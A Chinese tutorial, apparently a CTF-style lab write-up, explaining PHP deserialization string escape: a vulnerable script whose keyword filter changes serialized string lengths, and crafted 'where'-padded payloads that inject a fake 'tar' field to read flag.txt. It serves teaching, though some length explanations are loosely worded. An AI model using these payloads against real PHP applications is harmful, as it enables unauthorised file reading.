欢迎大家关注我的微信公众号《壳中之魂》观看更多网安文章
对O:1:"C":2:{s:4:"name";s:4:"g1ts";s:3:"tar";s:8:"flag.txt";}123
这一字符串进行反序列化并不会报错,而是会正常读取到里面的参数
即使是O:1:"C":2:{s:4:"name";s:4:"g1ts";s:3:"tar";s:8:"tttt.txt";}s:3:"tar";s:8:"flag.txt";}
也是可以正常读取到值,只不过只能读取到第一个tar值,后面的值就被忽略了
在一文件夹下有一文件flag.php和test.txt,以及一php文件,其内容如下
<?php
class C{
public $name = null;
public $tar = null;
public function change($name, $target){
$this->name = $name;
$this->tar = ".\\test\\" . $target;
}
}
function filter($string) {
$escape = array('\'');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
$C = new C();
$C->change("g1ts", "word.txt");
$serobj = serialize($C);
var_dump($serobj);
print("<br>");
$serobj = filter($serobj);
var_dump($serobj);
print("<br>");
$obj = unserialize($serobj);
var_dump($obj->tar);
print("<br>");
var_dump(file_get_contents($obj->tar));
?>
这串代码能够正常输出test.txt的内容
如果我们想要输出当前目录下的flag.txt的内容,那么即使可以直接执行change函数,传入目标文件的名字值也是做不到的,如果可以利用过滤函数,来达到反序列化字符串逃逸
目前我们的反序列化后的值为
O:1:"C":2:{s:4:"name";s:4:"g1ts";s:3:"tar";s:15:".\test\word.txt";}
然后我们想要的值为
O:1:"C":2:{s:4:"name";s:4:"g1ts";s:3:"tar";s:8:"flag.txt";}
<a name="Qf9Ge"></a>
要点:判断payload的长度,然后在前一个参数逃逸掉payload的长度,让构造的payload得以插入 然后回看过滤函数
function filter($string) {
$escape = array('\'');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
如果传入'select', 'insert', 'update', 'delete', 'where'
,则会替换为hacker
,所以说,如果传入了where
,替换为hacker,则会增加一个字符
string(89) "O:1:"C":2:{s:4:"name";s:25:"wherewherewherewherewhere";s:3:"tar";s:15:".\test\flag.txt";}"
string(94) "O:1:"C":2:{s:4:"name";s:25:"hackerhackerhackerhackerhacker";s:3:"tar";s:15:".\test\flag.txt";}"
但实际可以看到,hackerhackerhackerhackerhacker
其实长30,而不是显示的25,所以如果我们构造字符串,将前面闭合,然后再插入一个新的,,伪造的tar参数那么就可以构造出一个新的反序列化字符串
首先我们要确认需要插入构造内容的值的内容及长度
";s:3:"tar";s:8:"flag.txt";}
此字符串共长28,每传入一个where就可以多出一个空传入payload,所以一共传入28个where就可以正常读取到payload
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:3:"tar";s:8:"flag.txt";}
要点:判断需要逃逸掉字符串的长度,然后在前一个参数里面构造长度,在目标参数里面传入需要的值 假如过滤函数为
function filter($string) {
$escape = array('\'');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hhhh', $string);
}
也就是说每传入一个where就会多出一个字符串的长度,这种过滤则要前面的参数也要构造,后面的参数也要构造,首先先确定后面的参数
由于结尾是不会被逃逸掉的,我们要逃逸掉的字符其实是原来的代码安排的字符串,即";s:3:"tar";s:32:".\test\
,这段字符串长25,所以要传入25个where
name传入的参数为wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere
tar传入的参数为";s:3:"tar";s:8:"flag.txt
成功读取到flag
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。